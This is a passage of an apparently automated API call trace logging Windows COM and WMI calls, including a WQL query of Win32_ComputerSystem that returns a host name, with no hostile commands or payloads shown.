[6]=0x0, [7]=0x46)), ppvObject=0x1b0bb860 | out: ppvObject=0x1b0bb860*=0x1b3508a8) returned 0x0 [0157.788] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3508a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb888 | out: pCid=0x1b0bb888*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.788] WbemLocator:IUnknown:Release (This=0x1b3508a8) returned 0x3 [0157.788] CoGetContextToken (in: pToken=0x1b0bb910 | out: pToken=0x1b0bb910) returned 0x0 [0157.789] CoGetContextToken (in: pToken=0x1b0bbd90 | out: pToken=0x1b0bbd90) returned 0x0 [0157.789] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbe50 | out: ppvObject=0x1b0bbe50*=0x1b350990) returned 0x0 [0157.789] WbemLocator:IRpcOptions:Query (in: This=0x1b350990, pPrx=0x1b3509c8, dwProperty=2, pdwValue=0x1b0bbe40 | out: pdwValue=0x1b0bbe40) returned 0x80004002 [0157.789] WbemLocator:IUnknown:Release (This=0x1b350990) returned 0x3 [0157.789] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0157.789] CoGetContextToken (in: pToken=0x1b0bc450 | out: pToken=0x1b0bc450) returned 0x0 [0157.789] CoGetContextToken (in: pToken=0x1b0bc350 | out: pToken=0x1b0bc350) returned 0x0 [0157.789] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x1b0bc4b0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b0bc480 | out: ppvObject=0x1b0bc480*=0x1b341a60) returned 0x0 [0157.789] WbemLocator:IUnknown:AddRef (This=0x1b341a60) returned 0x4 [0157.789] WbemLocator:IUnknown:Release (This=0x1b341a60) returned 0x3 [0157.790] WbemLocator:IUnknown:Release (This=0x1b341a60) returned 0x2 [0157.790] SysStringLen (param_1=0x0) returned 0x0 [0157.790] CoGetContextToken (in: pToken=0x1b0bc580 | out: pToken=0x1b0bc580) returned 0x0 [0157.790] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0157.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc580 | out: ppvObject=0x1b0bc580*=0x1b3509c8) returned 0x0 [0157.790] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x3 [0157.790] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0157.790] CoGetContextToken (in: pToken=0x1b0bc6b0 | out: pToken=0x1b0bc6b0) returned 0x0 [0157.790] WbemLocator:IUnknown:AddRef (This=0x1b341a60) returned 0x3 [0157.790] IWbemServices:ExecQuery (in: This=0x1b341a60, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ComputerSystem", lFlags=16, pCtx=0x0, ppEnum=0x1b0bcb58 | out: ppEnum=0x1b0bcb58*=0x1b2e0d00) returned 0x0 [0157.812] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc828 | out: ppvObject=0x1b0bc828*=0x1b2e0d08) returned 0x0 [0157.812] IClientSecurity:QueryBlanket (in: This=0x1b2e0d08, pProxy=0x1b2e0d00, pAuthnSvc=0x1b0bc8f0, pAuthzSvc=0x1b0bc870, pServerPrincName=0x1b0bc898, pAuthnLevel=0x1b0bc874, pImpLevel=0x1b0bc880, pAuthInfo=0x1b0bc8a8, pCapabilites=0x1b0bc884 | out: pAuthnSvc=0x1b0bc8f0*=0xa, pAuthzSvc=0x1b0bc870*=0x0, pServerPrincName=0x1b0bc898, pAuthnLevel=0x1b0bc874*=0x6, pImpLevel=0x1b0bc880*=0x2, pAuthInfo=0x1b0bc8a8, pCapabilites=0x1b0bc884*=0x1) returned 0x0 [0157.812] IUnknown:Release (This=0x1b2e0d08) returned 0x1 [0157.812] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc7c0 | out: ppvObject=0x1b0bc7c0*=0x1b350b68) returned 0x0 [0157.812] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc7d0 | out: ppvObject=0x1b0bc7d0*=0x1b2e0d08) returned 0x0 [0157.812] IClientSecurity:SetBlanket (This=0x1b2e0d08, pProxy=0x1b2e0d00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.814] IUnknown:Release (This=0x1b2e0d08) returned 0x2 [0157.814] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0157.814] CoTaskMemFree (pv=0x1b33fe10) [0157.814] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc290 | out: ppvObject=0x1b0bc290*=0x1b350b68) returned 0x0 [0157.814] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc320 | out: ppvObject=0x1b0bc320*=0x0) returned 0x80004002 [0157.815] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbf40 | out: ppvObject=0x1b0bbf40*=0x0) returned 0x80004002 [0157.815] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bbb18 | out: ppvObject=0x1b0bbb18*=0x0) returned 0x80004002 [0157.816] WbemLocator:IUnknown:AddRef (This=0x1b350b68) returned 0x3 [0157.816] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb9d8 | out: ppvObject=0x1b0bb9d8*=0x0) returned 0x80004002 [0157.816] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb960 | out: ppvObject=0x1b0bb960*=0x0) returned 0x80004002 [0157.816] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb950 | out: ppvObject=0x1b0bb950*=0x1b350a48) returned 0x0 [0157.816] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350a48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb978 | out: pCid=0x1b0bb978*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.816] WbemLocator:IUnknown:Release (This=0x1b350a48) returned 0x3 [0157.816] CoGetContextToken (in: pToken=0x1b0bba00 | out: pToken=0x1b0bba00) returned 0x0 [0157.816] CoGetContextToken (in: pToken=0x1b0bbe80 | out: pToken=0x1b0bbe80) returned 0x0 [0157.816] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbf40 | out: ppvObject=0x1b0bbf40*=0x1b350b30) returned 0x0 [0157.816] WbemLocator:IRpcOptions:Query (in: This=0x1b350b30, pPrx=0x1b350b68, dwProperty=2, pdwValue=0x1b0bbf30 | out: pdwValue=0x1b0bbf30) returned 0x80004002 [0157.816] WbemLocator:IUnknown:Release (This=0x1b350b30) returned 0x3 [0157.816] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x2 [0157.817] CoGetContextToken (in: pToken=0x1b0bc540 | out: pToken=0x1b0bc540) returned 0x0 [0157.817] CoGetContextToken (in: pToken=0x1b0bc440 | out: pToken=0x1b0bc440) returned 0x0 [0157.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x1b0bc5a0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc570 | out: ppvObject=0x1b0bc570*=0x1b2e0d00) returned 0x0 [0157.817] IUnknown:AddRef (This=0x1b2e0d00) returned 0x4 [0157.817] IUnknown:Release (This=0x1b2e0d00) returned 0x3 [0157.817] IUnknown:Release (This=0x1b2e0d00) returned 0x2 [0157.817] WbemLocator:IUnknown:Release (This=0x1b341a60) returned 0x2 [0157.817] SysStringLen (param_1=0x0) returned 0x0 [0157.817] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f37c0, puCount=0x1b0bcb98 | out: puCount=0x1b0bcb98*=0x2) returned 0x0 [0157.817] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcb90*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bcb90*=0xf, pszText=0x0) returned 0x0 [0157.817] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcb90*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bcb90*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.817] CoGetContextToken (in: pToken=0x1b0bc710 | out: pToken=0x1b0bc710) returned 0x0 [0157.817] IUnknown:AddRef (This=0x1b2e0d00) returned 0x3 [0157.817] IEnumWbemClassObject:Clone (in: This=0x1b2e0d00, ppEnum=0x1b0bcb10 | out: ppEnum=0x1b0bcb10*=0x1b353000) returned 0x0 [0157.818] IUnknown:QueryInterface (in: This=0x1b353000, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc898 | out: ppvObject=0x1b0bc898*=0x1b353008) returned 0x0 [0157.819] IClientSecurity:QueryBlanket (in: This=0x1b353008, pProxy=0x1b353000, pAuthnSvc=0x1b0bc960, pAuthzSvc=0x1b0bc8e0, pServerPrincName=0x1b0bc908, pAuthnLevel=0x1b0bc8e4, pImpLevel=0x1b0bc8f0, pAuthInfo=0x1b0bc918, pCapabilites=0x1b0bc8f4 | out: pAuthnSvc=0x1b0bc960*=0xa, pAuthzSvc=0x1b0bc8e0*=0x0, pServerPrincName=0x1b0bc908, pAuthnLevel=0x1b0bc8e4*=0x6, pImpLevel=0x1b0bc8f0*=0x2, pAuthInfo=0x1b0bc918, pCapabilites=0x1b0bc8f4*=0x1) returned 0x0 [0157.819] IUnknown:Release (This=0x1b353008) returned 0x1 [0157.819] IUnknown:QueryInterface (in: This=0x1b353000, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc830 | out: ppvObject=0x1b0bc830*=0x1b350ea8) returned 0x0 [0157.819] IUnknown:QueryInterface (in: This=0x1b353000, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc840 | out: ppvObject=0x1b0bc840*=0x1b353008) returned 0x0 [0157.819] IClientSecurity:SetBlanket (This=0x1b353008, pProxy=0x1b353000, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.821] IUnknown:Release (This=0x1b353008) returned 0x2 [0157.822] WbemLocator:IUnknown:Release (This=0x1b350ea8) returned 0x1 [0157.822] CoTaskMemFree (pv=0x1b33fff0) [0157.822] IUnknown:QueryInterface (in: This=0x1b353000, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc2f0 | out: ppvObject=0x1b0bc2f0*=0x1b350ea8) returned 0x0 [0157.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc380 | out: ppvObject=0x1b0bc380*=0x0) returned 0x80004002 [0157.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbfa0 | out: ppvObject=0x1b0bbfa0*=0x0) returned 0x80004002 [0157.823] IUnknown:QueryInterface (in: This=0x1b353000, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bbb78 | out: ppvObject=0x1b0bbb78*=0x0) returned 0x80004002 [0157.823] WbemLocator:IUnknown:AddRef (This=0x1b350ea8) returned 0x3 [0157.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bba38 | out: ppvObject=0x1b0bba38*=0x0) returned 0x80004002 [0157.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb9c0 | out: ppvObject=0x1b0bb9c0*=0x0) returned 0x80004002 [0157.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb9b0 | out: ppvObject=0x1b0bb9b0*=0x1b350d88) returned 0x0 [0157.823] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350d88, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb9d8 | out: pCid=0x1b0bb9d8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.823] WbemLocator:IUnknown:Release (This=0x1b350d88) returned 0x3 [0157.824] CoGetContextToken (in: pToken=0x1b0bba60 | out: pToken=0x1b0bba60) returned 0x0 [0157.824] CoGetContextToken (in: pToken=0x1b0bbee0 | out: pToken=0x1b0bbee0) returned 0x0 [0157.824] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbfa0 | out: ppvObject=0x1b0bbfa0*=0x1b350e70) returned 0x0 [0157.824] WbemLocator:IRpcOptions:Query (in: This=0x1b350e70, pPrx=0x1b350ea8, dwProperty=2, pdwValue=0x1b0bbf90 | out: pdwValue=0x1b0bbf90) returned 0x80004002 [0157.824] WbemLocator:IUnknown:Release (This=0x1b350e70) returned 0x3 [0157.824] WbemLocator:IUnknown:Release (This=0x1b350ea8) returned 0x2 [0157.824] CoGetContextToken (in: pToken=0x1b0bc5a0 | out: pToken=0x1b0bc5a0) returned 0x0 [0157.824] CoGetContextToken (in: pToken=0x1b0bc4a0 | out: pToken=0x1b0bc4a0) returned 0x0 [0157.824] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x1b0bc600*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc5d0 | out: ppvObject=0x1b0bc5d0*=0x1b353000) returned 0x0 [0157.824] IUnknown:AddRef (This=0x1b353000) returned 0x4 [0157.824] IUnknown:Release (This=0x1b353000) returned 0x3 [0157.824] IUnknown:Release (This=0x1b353000) returned 0x2 [0157.824] IUnknown:Release (This=0x1b2e0d00) returned 0x2 [0157.824] SysStringLen (param_1=0x0) returned 0x0 [0157.824] IEnumWbemClassObject:Reset (This=0x1b353000) returned 0x0 [0157.825] CoTaskMemAlloc (cb=0x8) returned 0x1b32af50 [0157.825] IEnumWbemClassObject:Next (in: This=0x1b353000, lTimeout=-1, uCount=0x1, apObjects=0x1b32af50, puReturned=0x2be7f08 | out: apObjects=0x1b32af50*=0x5207e0, puReturned=0x2be7f08*=0x1) returned 0x0 [0157.834] IUnknown:QueryInterface (in: This=0x5207e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbe90 | out: ppvObject=0x1b0bbe90*=0x5207e0) returned 0x0 [0157.834] IUnknown:QueryInterface (in: This=0x5207e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbf20 | out: ppvObject=0x1b0bbf20*=0x0) returned 0x80004002 [0157.834] IUnknown:QueryInterface (in: This=0x5207e0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbb40 | out: ppvObject=0x1b0bbb40*=0x0) returned 0x80004002 [0157.834] IUnknown:QueryInterface (in: This=0x5207e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb718 | out: ppvObject=0x1b0bb718*=0x0) returned 0x80004002 [0157.834] IUnknown:AddRef (This=0x5207e0) returned 0x3 [0157.834] IUnknown:QueryInterface (in: This=0x5207e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb5d8 | out: ppvObject=0x1b0bb5d8*=0x0) returned 0x80004002 [0157.834] IUnknown:QueryInterface (in: This=0x5207e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb560 | out: ppvObject=0x1b0bb560*=0x0) returned 0x80004002 [0157.834] IUnknown:QueryInterface (in: This=0x5207e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb550 | out: ppvObject=0x1b0bb550*=0x5207e8) returned 0x0 [0157.834] IMarshal:GetUnmarshalClass (in: This=0x5207e8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb578 | out: pCid=0x1b0bb578*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0157.834] IUnknown:Release (This=0x5207e8) returned 0x3 [0157.834] CoGetContextToken (in: pToken=0x1b0bb600 | out: pToken=0x1b0bb600) returned 0x0 [0157.835] CoGetContextToken (in: pToken=0x1b0bba80 | out: pToken=0x1b0bba80) returned 0x0 [0157.835] IUnknown:QueryInterface (in: This=0x5207e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbb40 | out: ppvObject=0x1b0bbb40*=0x0) returned 0x80004002 [0157.835] IUnknown:Release (This=0x5207e0) returned 0x2 [0157.835] CoGetContextToken (in: pToken=0x1b0bc140 | out: pToken=0x1b0bc140) returned 0x0 [0157.835] CoGetContextToken (in: pToken=0x1b0bc040 | out: pToken=0x1b0bc040) returned 0x0 [0157.835] IUnknown:QueryInterface (in: This=0x5207e0, riid=0x1b0bc1a0*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bc170 | out: ppvObject=0x1b0bc170*=0x5207e0) returned 0x0 [0157.835] IUnknown:AddRef (This=0x5207e0) returned 0x4 [0157.835] IUnknown:Release (This=0x5207e0) returned 0x3 [0157.835] IUnknown:Release (This=0x5207e0) returned 0x2 [0157.835] CoTaskMemFree (pv=0x1b32af50) [0157.835] CoGetContextToken (in: pToken=0x1b0bc510 | out: pToken=0x1b0bc510) returned 0x0 [0157.835] IUnknown:AddRef (This=0x5207e0) returned 0x3 [0157.835] IWbemClassObject:Get (in: This=0x5207e0, wszName="__GENUS", lFlags=0, pVal=0x1b0bcad0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bcbf8*=0, plFlavor=0x1b0bcbf0*=0 | out: pVal=0x1b0bcad0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1b0bcbf8*=3, plFlavor=0x1b0bcbf0*=64) returned 0x0 [0157.835] IWbemClassObject:Get (in: This=0x5207e0, wszName="__PATH", lFlags=0, pVal=0x1b0bca80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bcbb0*=0, plFlavor=0x1b0bcba8*=0 | out: pVal=0x1b0bca80*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_ComputerSystem.Name=\"XC64ZB\"", varVal2=0x0), pType=0x1b0bcbb0*=8, plFlavor=0x1b0bcba8*=64) returned 0x0 [0157.837] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_ComputerSystem.Name=\"XC64ZB\"") returned 0x6c [0157.837] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_ComputerSystem.Name=\"XC64ZB\"") returned 0x6c [0157.837] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bcaf8 | out: ppv=0x1b0bcaf8*=0x4b0108) returned 0x0 [0157.837] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bcae8 | out: pAptType=0x1b0bcae8*=1) returned 0x0 [0157.837] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bcaf0 | out: ppvObject=0x1b0bcaf0*=0x0) returned 0x80004002 [0157.837] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.838] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbee8 | out: ppv=0x1b0bbee8*=0x1b3207e0) returned 0x0 [0157.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b3207e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, 